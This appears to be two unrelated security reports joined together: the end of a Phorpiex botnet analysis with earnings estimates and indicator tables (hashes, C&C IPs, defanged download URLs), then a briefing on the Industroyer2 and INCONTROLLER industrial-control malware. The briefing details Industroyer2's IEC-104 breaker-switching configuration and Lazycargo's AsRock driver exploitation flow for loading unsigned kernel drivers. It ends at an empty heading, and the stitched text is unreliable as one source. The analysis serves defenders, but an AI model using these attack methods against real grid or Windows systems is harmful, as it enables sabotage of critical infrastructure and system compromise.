Currently, the Phorpiex botnet doesn’t load ransomware. After the termination of the GandCrab ransomware, the Phorpiex botnet completely switched to sending sextortion spam emails from the infected computers and loading data stealers there.
We should emphasize that almost all samples of Trik and Tldr include crypto-clipper functionality. The malware alters crypto wallet addresses in a clipboard, and the money is transferred to the wallet that belongs to the malware operators. Crypto-clipper functionality allows malware operators to gain profits without any additional effort, even when C&C servers are offline. Bitcoin wallets used in both Trik and Tldr configurations continue to receive stolen Bitcoins and have collected more than 17 BTC so far.
## Botnet Capacity Assessment
Phorpiex bots continuously scan domain names and IP addresses extracted from the configuration. Even if a valid C&C server responds, the malware continues to query other hosts. Therefore, after registering domains from different Tldr configurations, we started to receive a large number of connections from Phorpiex bots. This allowed us to assess the prevalence of the botnet.
During the past two months, we registered connections from more than 1,000,000 unique hosts. At any given time, an average of 15,000 bots is online, and up to 100,000 bots are active daily.
The botnet hosts are primarily located in Asia. The most significant parts of the botnet are located in India, China, Thailand, and Pakistan. There are also bots present in the US, Mexico, and many African countries. Europe is almost unaffected by the botnet.
## C&C Infrastructure
All Phorpiex modules use a hard-coded list of IP addresses and domain names for C&C communication. While most malware implements DGA, using hard-coded domain names doesn’t impair the survival of the Phorpiex bots. We suppose the list of domain names is used as a precaution, to regain control of the bots in case of the loss of C&C servers accessed by the IP address. The list of domain names is updated periodically. While monitoring the Phorpiex campaign during 2019, we discovered more than 4,000 different samples of Tldr, with approximately 300 configurations and 3297 domain names and IP addresses.
Currently, the most active IP used by the botnet for its C&C servers is 185.176.27.132 and addresses from the subnet 92.63.197.0/24. We found that the subnet 92.63.197.0/24, which hosts a lot of Phorpiex C&C servers, was also observed in other threats like Smoke Loader and Necurs, and used for sending phishing and spam emails, and for port scanning.
One more interesting fact regarding this subnet is that it is registered to an individual entrepreneur in Ukraine. We found the registration data for an individual entrepreneur called “FOP HORBAN VITALII Anatoliyovich.” His main activity is in food retail. Therefore, we think “FOP HORBAN VITALII Anatoliyovich” is just a figurehead.
Almost the same situation appears if we search for data about another IP address used by the Phorpiex C&C server – 185.176.27.132. Dunaev Yuriy Vyacheslavovich is also an individual entrepreneur from Russia (Republic Tatarstan) whose main activity is transport services. As in the previous case, the activity of the entrepreneur is not related to the Internet or IT in any way.
Packets to this network are routed through Telehouse ISP, which is physically located in Bulgaria. Perhaps, what we are witnessing is cooperation between Phorpiex and another cybercrime group that obtains IP subnets from RIPE and provides services for hosting malicious C&C infrastructure.
## Crypto-jacking Campaign
Cryptojacking is the unauthorized use of someone else’s computer to mine cryptocurrency. One of the final payloads loaded to Phorpiex-controlled computers is XMRig mining software. The reward for cryptocurrency mining using XMRig is paid in Monero (XMR). The Phorpiex XMRig miner comes with the configuration embedded in the sample. It uses Phorpiex C&C servers as mining pools.
In addition, we found XMR addresses for Phorpiex XMRig samples and found that they are the same as those used in the “sextortion” campaign. The wallets are stored in integrated format. This means that the address also contains the Payment ID. Given the intrinsic privacy features built into Monero, where a single public address is usually used for incoming transactions, the Payment ID is especially useful to tie incoming payments with user accounts.
These facts leave no doubt that the Phorpiex botnet owners receive all the profit from mining. Unfortunately for us, due to its privacy features, the Monero blockchain doesn’t allow us to track transactions and view an individual’s balance. However, we can estimate the profitability of the crypto-jacking campaign using the results of the botnet capacity assessment, the Monero mining profitability calculator, and other Monero benchmarks.
Assuming that the average Phorpiex victim doesn’t have top-level hardware, the basis of our calculation was a low hash rate of 100 H/s which corresponds to INTEL I5-6500T CPU. At any given time, an average of 15,000 bots is online. Therefore, the total Monero mining hash rate provided by the Phorpiex botnet is 1.5 MH/s. Therefore, by our assessment, the Phorpiex botnet must generate at least 3,122 XMR per year which currently is equivalent to about 21 Bitcoins (BTC) or $180,000.
## Crypto-clipping Campaign
We first saw transactions to the wallets observed in the Trik configuration in August 2016. This may be the time when crypto-clipping functionality was first added to Trik. Malware creators started their operations stealing Bitcoin only. In Tldr, they added support for a large number of virtual assets including Ethereum, Litecoin, and even Perfectmoney.
Unlike Monero, the Bitcoin and Ethereum blockchains allow us to monitor all transactions. Therefore, we are able to assess how effective a particular crypto-clipping campaign is. We collected a large number of Trik and Tldr samples and the Bitcoin wallets extracted from them.
Bitcoin wallets extracted from Trik configurations received a total of more than 11 BTC in 376 transactions. As we can see from the table, despite the fact that Trik bots don’t receive updates and the C&C servers are offline, some wallets still continue to gain Bitcoins.
Therefore, in the 3-year period, crypto-clipping campaigns allowed the malware operators to steal more than 17 BTC in 875 transactions, or about 5.6 BTC annually.
Ethereum cryptocurrency wallets extracted from Trik and Tldr samples gained much less than Bitcoin wallets. There are only 51 transactions, with a total amount of about 17 ETH, whose current value is much less than Bitcoin. However, those wallets are interesting to us for another reason. Services like etherescan.io can show if an Ethereum address belongs to a particular exchange or service.
Therefore, we can conclude that the Ethereum addresses used in the crypto-clipping campaign are created in a Cryptonator wallet. Cryptonator requires a valid email address for registration and confirmation for each new IP address and device by email. We think that the access logs of the Cryptonator service may store the real IP addresses of the Phorpiex actors.
## Comparison to the Sextortion Campaign
We’ve been observing the Phorpiex sextortion campaign for about half a year. During this period, we recorded transfers of more than 14 Bitcoins to the Phorpiex wallets related to this campaign. If the trend continues, the annual revenue of the sextortion campaign would be 28 Bitcoins. Sextortion appears to be a more profitable venture than cryptocurrency clipping or mining using the botnet’s computing power. However, those malicious activities complement each other, generating about 54.6 Bitcoins annually, which is currently about $500,000.
## Conclusion
We inspected some of Darknet advertisements that provide prices for malware installation services. Usually, infection service prices vary from $100 to $1000 per 1000 infections, depending on the victims’ location. Phorpiex bots are mostly located in Asia – the region in which malware installation services are the cheapest. Therefore, to purchase malware infection services on the Darknet, the owners of the Phorpiex botnet would pay about $100,000.
The tools used by Phorpiex are not too sophisticated. Obviously, not much time was spent on their development. This case shows us that such a massive botnet can be created by cybercriminals without a deep knowledge of system programming, cryptography, etc. The ecosystem that currently exists in the Darknet makes it easy enough to implement almost any idea for cybercrime.
## IOC
| MD5 | Description | Downloaded From |
| --- | ----------- | ---------------- |
| 58198a2ebac604399c3e930207df47f1 | Phorpiex Trik v5.0 | |
| 64990a45cf6b1b900c6b284bb54a1402 | Phorpiex Tldr v3.0 | |
| e5aea3b998644e394f506ac1f0f2f107 | Phorpiex Tldr v2.0 | |
| 383498f810f0a992b964c19fc21ca398 | Phorpiex Tldr v1.0 | |
| afe348ff22ad43e98ee7ab19a851b817 | Phorpiex Tldr mod2019 | hxxp://92.63.197[.]59/lst.exe |
| d9e59a4295926df49c8d6484aa6b8305 | Phorpiex Tldr | hxxp://94.156.133[.]65/11.exe |
| | | |
| C&C IP | MD5 |
| --- | --- |
| 112.126.94.107 | 2d33fd32d8ec7b7d0ed379b80a167ff4 |
| 123.56.228.49 | 2d33fd32d8ec7b7d0ed379b80a167ff4 |
| 172.104.40.92 | 2d33fd32d8ec7b7d0ed379b80a167ff4 |
| 185.176.27.132 | f3dcf80b6251cfba1cd754006f693a73 |
| 193.32.161.69 | a8ab5aca96d260e649026e7fc05837bf |
| 193.32.161.73 | a24bb61df75034769ffdda61c7a25926 |
| 193.32.161.77 | cc89100f20002801fa401b77dab0c512 |
| 87.120.37.156 | 97835760aa696d8ab7acbb5a78a5b013 |
| 87.120.37.234 | a0039fbc46f2e874f2e4151712993343 |
| 87.120.37.235 | f0c7f0823de1a9303aa26d058c9951a0 |
| 92.63.197.106 | e24b40197da64a4baa9a81cc735e839b |
| 92.63.197.112 | 82eecd3b80caa7d0f51aba4ee8149c1a |
| 92.63.197.153 | 20ef08bdae07f3494e20195e65d7b7f5 |
| 92.63.197.38 | 49d218a1a09ba212e187dc2de923ba62 |
| 92.63.197.48 | 1462114257a6fcc52a8782c2a2616009 |
| 92.63.197.59 | c63a7c559870873133a84f0eb6ca54cd |
| 92.63.197.60 | 82eecd3b80caa7d0f51aba4ee8149c1a |
| 94.156.133.65 | b69270ee30bd20694948dba6c09ead7f |
Check Point Anti-Bot blade provides protection against this threat:
- Worm.Win32.Phorpiex.C
- Worm.Win32.Phorpiex.D
- Worm.Win32.Phorpiex.H |
# Industroyer2 and INCONTROLLER
## Executive Summary
Industroyer2 and INCONTROLLER, also known as PIPEDREAM, are the newest examples of ICS-specific malware and were disclosed to the public almost simultaneously on April 12 and 13, 2022, respectively. Industroyer2 leverages OS-specific wipers and a dedicated module to communicate over the IEC-104 industrial protocol. INCONTROLLER is a full toolkit containing modules to send instructions to or retrieve data from ICS devices using industrial network protocols, such as OPC UA, Modbus, CODESYS, Machine Expert Discovery, and Omron FINS. Additionally, Industroyer2 has a highly targeted configuration, while INCONTROLLER is much more reusable across different targets.
ICS-specific malware is still very rare when compared to commodity malware, such as ransomware or banking trojans. Industroyer2 and INCONTROLLER follow previous-known examples, such as Stuxnet, Havex, BlackEnergy2, Industroyer, and TRITON. Both Industroyer2 and INCONTROLLER were caught before causing physical disruption. Industroyer2 is believed to have been developed and deployed by the Sandworm APT, linked to the Russian GRU, which was behind the original attacks on the Ukrainian power grid in 2015 and 2016. The Industroyer2 incident follows recent activity against the APT in 2022, such as the disruption of the Cyclops Blink botnet. There is still no conclusive evidence about the actors behind INCONTROLLER, their motives, or objectives.
Both new malwares show that abusing often insecure-by-design native capabilities of OT equipment continues to be the preferred modus operandi of real-world attackers. Vedere Labs recently disclosed a set of 56 insecure-by-design vulnerabilities in OT equipment called OT:ICEFALL, which included Omron controllers that were targeted by INCONTROLLER. The emergence of new vulnerabilities and new malware exploiting the insecure-by-design nature of OT supports the need for robust OT-aware network monitoring and deep packet inspection capabilities.
This briefing presents the most detailed (to date) public technical analysis of Industroyer2 and INCONTROLLER, a list of IoCs extracted from those samples and other shared intelligence, and recommended mitigations.
Although there have been previous reports about both malware families analyzed in this research, we present the following new contributions:
- A functionality in Industroyer2 to discover the target’s Common Address of ASDU. Despite not being used given the hardcoded configuration of our sample, it might have been a tool used in previous reconnaissance stages to gather information about the target.
- An analysis of the similarity of the IEC-104 implementation in Industroyer that reveals it is very probably a modified version of a publicly available implementation.
- The most detailed public description so far of Lazycargo, a part of INCONTROLLER, which became publicly available.
## Technical Analysis
### 2.1. Industroyer2
ESET researchers responded to a cyber incident affecting an energy provider in Ukraine. This response resulted in the discovery of a new variant of the Industroyer malware, which ESET together with CERT-UA named Industroyer2. Industroyer is an infamous piece of malware that was used in 2016 by the Sandworm APT group to cut the power in Ukraine.
Several researchers pointed out that the new sample bears a lot of similarities with the original Industroyer. However, while the original version supported several industrial network protocols, the version used in the new incident supports only the IEC-104 protocol. The sample tests connectivity to a list of hardcoded control stations and sends sets of hardcoded commands over the IEC-104 protocol, setting specific Information Object Addresses (IOA) for specific Application Service Data Unit (ASDU) addresses to either the “ON” or “OFF” state. As ESET researchers pointed out, this may lead to power cuts within the targeted ICS systems.
We have analyzed the IEC-104 sample with SHA-1 fdeb96bc3d4ab32ef826e7e53f4fe1c72e580379 and presumed filename 40_115.exe. Our static analysis revealed details of the hardcoded configuration and logic workflow of the sample.
#### 2.1.1. Configuration
The configuration is built as an array of strings. Every array item specifies the configuration for a single IEC-104 target server and is specified as a space-separated list of tokens. Tokens can be logically grouped in a header, followed by an optional list of Information Object (IO)-specific parameters. The format of the header is reported in the table below.
| Name | Optional | Description |
|-----------------------|----------|-----------------------------------------------------------------------------|
| Target IP | No | IP address of the target IEC-104 server. |
| Target Port | No | TCP port of the target IEC-104 server. |
| Common Address | No | Common Address of ASDU associated with the target IEC-104 server. |
| Operational Mode | No | If set to 0, the sample will derive which IOs to interact with from the optional list of IO parameters that follows the header. If set to 1, the sample will derive which IOs to interact with from the optional IOA range information that follows this token. |
| IOA Range Start | Yes | Information Object Address range start. This token is only specified if Operational Mode is 1. |
| IOA Range End | Yes | Information Object Address range end. This token is only specified if Operational Mode is 1. |
| Extended Config | No | If set to 1, the configuration header is extended with 9 extra tokens. |
| Boolean Flag | Yes | Unused. This token is only specified if Extended Config is 1. |
| Target Executable | Yes | Executable name of the process to kill before attempting connection with the target IEC-104 server. This token is only specified if Extended Config is 1. |
| Rename Executable | Yes | If set to 1, the executable previously specified will also be renamed to prevent watchdog restarts. This token is only specified if Extended Config is 1. |
| Target Executable Folder | Yes | Path to the folder where the target executable is stored. This token is only specified if Extended Config is 1. |
| Interaction Delay | Yes | Delay (in minutes) before a connection is attempted to the target IEC-104 server after killing the target executable. This token is only specified if Extended Config is 1. |
| Default Sleep Time | Yes | Delay (in seconds) applied after sending commands with a certain priority level. This token is only specified if Extended Config is 1. |
| Special Priority | Yes | Priority level for configuring a different sleep time. This token is only specified if Extended Config is 1. |
| Special Sleep Time | Yes | Delay (in seconds) applied after sending commands with priority level specified above. This token is only specified if Extended Config is 1. |
| Boolean Flag | Yes | Unused. This token is only specified if Extended Config is 1. |
| Default IO State | No | If set to 1, the state of single and double IOs will be set to On, otherwise the state will be set to Off. |
| Additional Inverted IO State | No | If set to 1, the sample will send additional commands for each configured IO inverting the default state. |
| IO Count | No | Number of IO-specific parameter groups following the header. |
The format of each IO-specific parameter group is reported in the table below.
| Name | Optional | Description |
|------------|----------|-----------------------------------------------------------------------------|
| IOA | No | Address of the Information Object. |
| Type ID | No | Type of IEC-104 command used for setting the IO value. Possible values are 0 for double command IOs (C_DC_NA_1) and 1 for single command IOs (C_SC_NA_1). |
| SBO | No | If set to 1, the sample will use the Select Before Operate paradigm to set the IO value. |
| Invert Default State | No | If set to 0, the state of the IO will be set to the default value specified in the header. If set to 1, the state of the IO will be set to the inverse of the default value. |
| Priority | No | Priority of commands for this IO. The sample will send commands to the target IEC-104 server processing IOs with lower to higher priority. |
| Index | No | Defines the order by which commands for this IO will be processed as compared to the ones with the same priority. |
Using this knowledge, it is possible to examine the configuration hardcoded in this sample. The configuration header is displayed in the table below.
| Field | Target 1 | Target 2 | Target 3 |
|----------------------|------------------|------------------|------------------|
| Target IP | 10.82.40.105 | 192.168.122.2 | 192.168.121.2 |
| Target Port | 2404 | 2404 | 2404 |
| Common Address | 3 | 2 | 1 |
| Operational Mode | 0 | 0 | 0 |
| IOA Range Start | N/A | N/A | N/A |
| IOA Range End | N/A | N/A | N/A |
| Extended Config | 1 | 1 | 1 |
| Boolean Flag | 1 | 1 | 1 |
| Target Executable | PService_PPD.exe | PService_PPD.exe | PService_PPD.exe |
| Rename Executable | 1 | 1 | 1 |
| Target Executable Folder | D:\OIK\DevCounter | D:\OIK\DevCounter | D:\OIK\DevCounter |
| Interaction Delay | 0 | 0 | 0 |
| Default Sleep Time | 1 | 1 | 1 |
| Special Priority | 0 | 0 | 0 |
| Special Sleep Time | 0 | 0 | 0 |
| Boolean Flag | 1 | 1 | 1 |
| Default IO State | 0 | 0 | 0 |
| Invert IO Value | 0 | 0 | 0 |
| IO Count | 44 | 8 | 16 |
The first IO-specific group of parameters for each configuration item is reported in the table below as an example.
| Field | Target 1 | Target 2 | Target 3 |
|----------------------|------------------|------------------|------------------|
| IOA | 130202 | 1104 | 1258 |
| Type ID | 1 (C_SC_NA_1) | 0 (C_DC_NA_1) | 0 (C_DC_NA_1) |
| SBO | 0 (Direct Operate)| 0 (Direct Operate)| 0 (Direct Operate)|
| Invert Default State | 1 | 0 | 0 |
| Priority | 1 | 1 | 1 |
| Index | 1 | 1 | 1 |
#### 2.1.2. Logic of Operation
The Industroyer2 sample is meant to be executed in the machine acting as IEC-104 controlling station for its targets. The workflow below displays a high-level representation of the sample’s logic.
For each configuration item, the sample parses the configuration string and creates a data structure that holds configuration parameters, as well as runtime parameters. It then kills the process with executable name “PServiceControl.exe”, as well as the process with executable name “PService_PDD.exe”, which is also renamed as “PService_PDD.exe.MZ”. Killing the “PService_PDD.exe” service causes the interruption of any existing communication with target IEC-104 servers, which usually support at most one active connection at a time. Having interrupted existing connections, Industroyer2 is free to connect to the targets. Renaming the service is a possible measure to prevent automatic service restarts. This behavior suggests some ties to the BlackEnergy malware, which also killed a service called “PService_PDD.exe” before execution.
After this initial phase, the sample spawns a thread responsible for interaction with the target. At first, the thread is set to sleep for a time specified by the Interaction Delay parameter. This delay could be needed to ensure the target realizes the existing connection with the master is interrupted and becomes ready to accept new connections.
The thread then loops over the priority levels configured for all IOs, from lower to higher priority levels.
The sample connects to the target using the IP and port specified in the configuration. Upon success, it first sends a TESTFR act IEC-104 message, followed by a STARTDT act message, which starts the data transfer between the controlling station and the controlled station.
Once the target is connected and data transfer is enabled, the sample verifies if the Common Address of ASDU (CA) for the target is known in the configuration.
If the target’s CA is unknown (i.e., set to -1 in the configuration), the sample sends a general interrogation command activation message (C_IC_NA_1 act) with CA set to 65535, which is a special address defined in the standard as “global” for broadcast purposes. The target IEC-104 server will respond with a general interrogation command activation confirmation message containing its true CA. In this way, the sample can learn the CA of the target server. After learning the CA of the target, the sample sends a STOPDT act message to stop IEC-104 data transfer and disconnects from the target.
If the target’s CA is known, the sample sends a general interrogation command activation message (C_IC_NA_1 act).
In case the configuration for all IOs with a certain priority level excludes the use of the Select Before Operate (SBO) paradigm, the sample first generates for all IOs with that priority either single command (C_SC_NA_1 act) or double command (C_DC_NA_1 act) activation messages (depending on the configuration) with the Select/Execute bit set to Execute, and then sends messages in batches of data of 128 bytes max. We notice that the thread executing these operations is put to sleep for a fixed amount of time (one second) after generating the command corresponding to a certain IO, regardless of whether commands are being sent to the target or just buffered locally. We could not find a meaningful explanation for this behavior.
In case at least one of the IOs with the current priority level is configured to use the SBO paradigm, the sample does not buffer commands. Instead, it iterates over all configured IOs and directly sends either single command (C_SC_NA_1 act) or double command (C_DC_NA_1 act) activation messages (depending on the configuration). In case the configuration specifies to use SBO, the sample first sends a single or double command with the Select/Execute bit set to Select. In both cases, the sample always sends the single or double command with the Select/Execute bit set to Execute.
The parameters of single or double commands that the sample sends to the target are set as follows:
- Cause of Transmission: hardcoded to 6 (activation)
- Originator Address: hardcoded to 0
- Common Address of ASDU: as specified in the “Common Address” configuration parameter
- Information Object Address: as specified in the “IOA” configuration parameter
- Qualifier: hardcoded to 2 (short pulse)
- Select/Execute bit: according to the logic described above
- Single/Double Command: initially set according to the “Default IO State” configuration parameter and possibly inverted according to IO’s “Invert Default State” configuration parameter
In case the IO’s configuration parameter “Invert Default State” is set to true, the sample sends the single/double commands once more by temporarily inverting the value of the “Default IO State” configuration parameter. This causes flipping the position of the targeted single or double Information Objects (from On to Off or vice versa).
Before repeating all these operations for IOs with the next priority level, the sample sets the thread to sleep for an amount of time specified in either the “Default Sleep Time” or the “Special Sleep Time” configuration parameters (depending on whether the current priority level is the special priority level configured in the “Special Priority” parameter), and then sends a STOPDT act message to stop IEC-104 data transfer and disconnects from the target.
#### 2.1.3. IEC-104 Protocol Implementation
Our analysis revealed that the code used in the sample to craft IEC-104 messages shows extensive similarities with code in a public GitHub repository. The repository contains a lightweight C++ realization of IEC-60870-5-104 for LPC1768+FreeRTOS+lwIP and is maintained by Oleksandr Popovych, a Ukrainian developer who describes himself as “AI Dealer”, “Machine Learning Evangelist” and “Deep Learning Practitioner”.
By static analysis of the sample, we were able to identify 18 of the 23 functions defined in the repository for the three C++ classes corresponding to IEC-104 layers (APCI, ASDU, and APDU). Of these functions, 15 have the exact same function signature as defined in the repository, three have function signatures with only marginal differences (e.g., addition of a function argument), and 15 also have the exact same function body. The major difference we identified is in the implementation of the APCI class, which in the sample was simplified by only supporting management of one single Information Object per APCI PDU. Based on these observations, it is reasonable to conclude the creators of Industroyer2 adapted the code shared by Popovych to fit their needs.
The table below reports a list of the functions defined in Popovych’s code, annotated with our findings on the sample binary in terms of function presence, similarity of the function signature, and similarity of the function body.
| Class | Function | Found in Sample | Signature Similarity | Body Similarity |
|-------|----------|------------------|----------------------|------------------|
| APCI | APCI() | Yes | Complete | Complete |
| APCI | ~APCI() | Yes | Complete | Complete |
| APCI | clear() | Yes | Complete | Complete |
| APCI | get() | Yes | Complete | Complete |
| APCI | set() | Yes | Complete | Minor (one unused argument added) |
| APCI | valid() | Yes | Complete | Complete |
| ASDU | ASDU() | Yes | Complete | Complete |
| ASDU | ~ASDU() | Yes | Complete | Complete |
| ASDU | clear() | Yes | Complete | Major (member variables are different) |
| ASDU | get() | Yes | Complete | Major (member variables are different) |
| ASDU | set() | Yes | Minor (argument data_length added) | Major (member variables are different) |
| ASDU | addIO() | No | N/A | N/A |
| ASDU | valid() | Yes | Complete | Complete |
| APDU | APDU() | Yes | Complete | Complete |
| APDU | ~APDU() | Yes | Complete | Complete |
| APDU | clear() | Yes | Complete | Complete |
| APDU | get() | Yes | Complete | Complete |
| APDU | set() | Yes | Complete | Minor (one unused argument added) |
| APDU | valid() | Yes | Complete | Complete |
| APDU | addIO(int) | No | N/A | N/A |
| APDU | addIO(InformationObject) | No | N/A | N/A |
| APDU | setDUI() | No | N/A | N/A |
| APDU | setAPCI() | No | N/A | N/A |
The two snippets of code below show an example of the same function as defined in Popovych’s code (left) and as decompiled from the sample (right). It is clear the code is identical once one factors out the artifacts introduced by the C++ compiler.
Besides the code for serializing/deserializing IEC-104 messages, the sample includes functions for sending and receiving the necessary IEC-104 messages. We could identify code supporting the following functionalities:
- Send a TESTFR_act message (test connection activation) and process incoming messages
- Send a TESTFR_con message (test connection confirmation)
- Send a STARTDT_act message (start data transfer activation) and process incoming messages
- Send a C_IC_NA_1_act message (interrogation command activation) and process incoming messages
- Send a C_IC_NA_1_act message (interrogation command activation) with CA set to the global address, receive incoming messages and learn the CA reported in the received C_IC_NA_1_con message (interrogation command confirmation)
- Send a C_SC_NA_1 act message (single command activation) or C_DC_NA_1_act message (double command activation) and process incoming messages
- Send an S_FRAME to acknowledge the receipt of incoming I_FRAMEs
- Process incoming messages and:
- respond to TESTFR_act messages with TESTFR_con messages
- update the Receiver Sequence Number in case an I_FRAME is received
- acknowledge received I_FRAMEs by sending an S_FRAME with the updated receiver sequence number
As can be inferred from the list above, the implemented subset of the IEC-104 protocol client-side functionality is extremely limited and is directed at covering only the subset that is strictly necessary for the attack. However, this choice led to an implementation that does not conform to the state machine and timeout mechanisms defined in the IEC-104 standard. While this may not necessarily be a problem for interoperability with permissive IEC-104 server implementations, such as those implemented by most of IEC-104 server simulators freely downloadable from the internet, for servers with a stricter implementation this might result in the malware failing to deliver the intended commands to the target. This same implementation issue was previously observed in the original Industroyer/CrashOverride malware.
#### 2.1.4. Dynamic Behavior
We confirm our findings about the operation logic of the sample by running the sample against an IEC-104 server simulator and capturing the traffic generated by the sample. The figure below shows the commands sent by the sample to the target with IP address 192.168.122.2. After the general station interrogation command, we can observe the eight double commands sent by the sample with position OFF, cause of transmission 6 (activation), S/E bit set to Execute and qualifier set to 1 (short pulse), corresponding to the eight Information Objects defined in the configuration for this target.
#### 2.1.5. Other Considerations
During the incident, additional malware samples were deployed: CaddyWiper, OrcShred, SoloShred, and AwfulShred. These are wiper malwares designed for Windows, Linux, and Solaris operating systems and used to cause damage to the infected machines by wiping all the data, and to clean up the host-based indicators of compromise.
It is still unknown how the attackers obtained initial access to the IT assets of the victim. According to CERT-UA, CaddyWiper was distributed over the victim’s network using the Windows group policy mechanism (GPO) set through the POWERGAP PowerShell script. This script has also been used to schedule the execution of CaddyWiper, which relied on ArguePatch loader to decrypt itself. (TailJump shellcode was used as well.) The lateral movement between network segments of the victim was performed via SSH tunnels.
Multiple researchers agree that the attackers were deeply familiar with the victim’s network and the attack was tailor-made rather than opportunistic. For example, Industroyer2 relies on a built-in hard-coded configuration that lists the IP addresses of controlled stations, their TCP ports, ASDU addresses, and specific commands to be sent over the IEC-104 protocol. The fact that the IP addresses of these stations are located within entirely different subnets suggests that the victim environment could have improper network segmentation controls in place.
The Industroyer2 sample lacks any detection evasion mechanisms, such as control flow obfuscation or config encryption, or privilege escalation capabilities. This serves as additional evidence of the “bespoke” nature of the attack: The attackers could have had total control of the target environment and be aware of the exact malware protection mechanisms deployed (or lack thereof). According to the timeline of the incident published by the ESET researchers, CaddyWiper was scheduled to launch on the same compromised machine after the Industroyer2 executable has finished its task. Had the attack been successful, the researchers might not have obtained the sample in the first place. All this evidence explains (at least in part) the lack of analysis protection mechanisms within the Industroyer2 binary.
### 2.2. CISA AA22-103A: APT Cyber Tools Targeting ICS/SCADA Devices (aka INCONTROLLER, aka PIPEDREAM)
On April 13, the Department of Energy, CISA, NSA, and the FBI released a cybersecurity advisory about new capabilities developed by APTs targeting industrial control systems. The toolkit described in the advisory includes three tools that enable attackers to send instructions to or retrieve data from ICS devices using industrial network protocols, such as OPC UA, Modbus (and its proprietary Schneider Modicon extension), Codesys, and Omron FINS.
The tools within the toolkit are named differently by different researchers but have the following functionality:
- **Lazycargo**: One of the tools exploits CVE-2020-15368, a vulnerability in the AsrDrv103.sys driver of the RGB controller for AsRock PC motherboards. This tool installs and exploits the vulnerable driver on a target system to achieve persistence and perform lateral movement after the initial compromise of Windows-based engineering workstation and/or human-machine Interface (HMI) machines.
- **Icecore/Dusttunnel**: A tool that provides reconnaissance and command and control functionality.
- **Codecall/Evilscholar**: This tool is a framework that communicates over the Modbus protocol; it also leverages Codesys automation software. The framework contains modules to scan, interact with, and attack at least three Schneider Electric programmable logic controllers (PLCs): M251, M258, and M221 Nano. The capabilities targeting these PLCs could possibly be extended against other Codesys-based PLCs manufactured by other vendors.
- **Omshell/Badomen**: A framework that has capabilities for scanning and interacting with Omron Sysmac NEX PLCs via HTTP, Telnet, and Omron FINS protocols. It has capabilities for interacting with OMRON servo drives used for precision motion control operations.
- **Tagrun/Mousehole**: This tool is used for identifying Open Platform Communication Unified Architecture (OPC UA) servers, as well as enumerating, reading, and writing OPC structures and tags. It can be also used for brute-forcing credentials.
Currently, only a sample of Lazycargo is available for public analysis. We found the sample 69296ca3575d9bc04ce0250d734d1a83c1348f5b6da756944933af0578bd41d2 on vx-underground and analyzed it in depth.
#### 2.2.1. Lazycargo Analysis
The sample is a binary executable that requires administrative privileges to run and expects one argument. At first glance, the binary contains a lot of interesting information: We clearly see that there are some debug symbols leftovers that suggest the binary may be an “exploit for the AsRock Driver”, that the file is likely to have some embedded executable code in its .data section and that it uses a number of potentially malicious Win32 API calls.
From the command line message above, it is obvious that the binary expects a path to an unsigned device driver (a .sys file). The following disassembly fragment shows the beginning of the main routine of the sample and confirms this.
Therefore, to examine the behavior of the binary further, we must provide a command line argument as follows. In fact, this should be an unsigned driver, but we can get by with this argument.
When the path to a .sys file is provided, the sample will get the file handle using the OpenFile() function, read its size of disk using GetFileSize(), and read its contents into the memory using ReadFile().
Next, the sample creates an empty file “C:\AsRockDrv.sys” and writes into it some binary content located in its .data section. This binary content is a vulnerable AsRock driver, for which a publicly available exploit has been available for quite some time (CVE-2020-15368). We encourage the reader to look at the original write-up to have a better understanding of the various moving parts of the binary in question. However, this driver exploitation technique is not new. Notice that the .data section also contains three other shellcode fragments.
After the contents of the AsRock driver are written to the disk, the binary loads it as a service, initiates the driver’s device, and opens a file handle to it.
Next, the binary copies a shellcode fragment located in its .data section into memory – we call it “second_stage_shellcode” – and copies the contents of the .sys file provided as an argument into an adjacent memory location.
Then, the sample calls the “find_patch_address()” function that performs many things under the hood. In particular, it exploits CVE-2020-15368 to read physical memory and to find an address of a function located within the loaded AsRock driver: This function has a specific ioctl handler tied to it, and it can be invoked from user-mode programs with DeviceIoControl() or NtDeviceIoControlFile() functions.
The two code snippets below provide an intuition on CVE-2020-15368 and how it has been leveraged in the binary in question. In particular, the second snippet shows the approximate logic within the vulnerable AsRock driver: It provides unrestricted physical memory read and write capabilities (including kernel space) to any user-mode program. The AsRock driver developers have restricted access to these operations by accepting only encrypted ioctl data. However, the AES key used for encryption/decryption is hardcoded, therefore malware writers can easily circumvent that.
The “find_patch_address()” function obtains information about the physical memory by reading the “HKLM\Hardware\ResourceMap\System Resources\Physical Memory” system registry key. Next, it exploits the AsRock driver to read the physical memory pages and search for 160 bytes of assembly code located in that memory (“original_asrock_function_fragment”). This assembly code fragment is the beginning of one of the functions located within the AsRock driver itself – it is one of the unencrypted ioctl handlers that can be reached with the I/O control code 0x22E858.
Below, we show the assembly snippet that illustrates the logic that searches for the physical memory address. After the physical memory address of the AsRock ioctl handle of interest has been found, the binary outputs the following message and passes this address further down its logic.
Another shellcode fragment located in the .data section of the binary (we call it “first_stage_shellcode”) is used to overwrite the contents of the ioctl handler within the AsRock driver. We will explain the details of this fragment later. However, before the ioctl handler within the AsRock driver is patched, the “first_stage_payload_shellcode” gets some adjustments: Specifically, the total length of the .sys file (the argument to the binary) and the second stage shellcode gets inserted into two places, and the virtual memory address of the second shellcode fragment gets inserted as well. Once the first stage shellcode is adjusted, the binary exploits the AsRock driver again to write the shellcode into the physical memory at the location where the “ioctl_22E858_handler()” function of the AsRock driver is loaded. Then it invokes the modified handler, executing the first stage shellcode with privileged process of the AsRock driver (calling the handler via the NtDeviceIoControlFile() function).
Immediately after, the “ioctl_22E858_handler()” contents are reverted back to the original code to ensure the stability of the system in case the ioctl handler is called by other drivers/services.
The adjusted first stage shellcode is shown on the snippet below. When the patched “ioctl_22E858_handler()” function is triggered, it allocates a memory pool of the size “sizeof(second_stage_shellcode) + sizeof(argument .sys file)” using the function ExAllocatePoolWithTag(); then, it copies the contents of the buffer that holds the second stage shellcode and the .sys file from the process of the malware sample into that memory pool. Finally, it executes the second stage shellcode with kernel privileges. It looks like this assembly fragment was written by hand.
The second stage shellcode consists of a common kernel shellcode pattern for resolving NT kernel API addresses by hash and functionality to load and invoke the argument-supplied unsigned driver. While this unsigned driver is missing, it seems highly likely this is a kernel-level rootkit component and possibly works in conjunction with the implant referred to as ICECORE by Mandiant and DUSTTUNNEL by Dragos. The diagram below illustrates the simplified execution flow of the sample.
It is peculiar to see that while the malicious actors behind this tool were clearly inspired by the original proof-of-concept exploit for CVE-2020-15368, there are some crucial differences between the original and the present implementation. That the malicious actors managed to easily weaponize someone’s work is worrisome and serves as another argument in favor of formal vulnerability disclosure and response practices.
#### 2.2.2. Codecall/Evilscholar
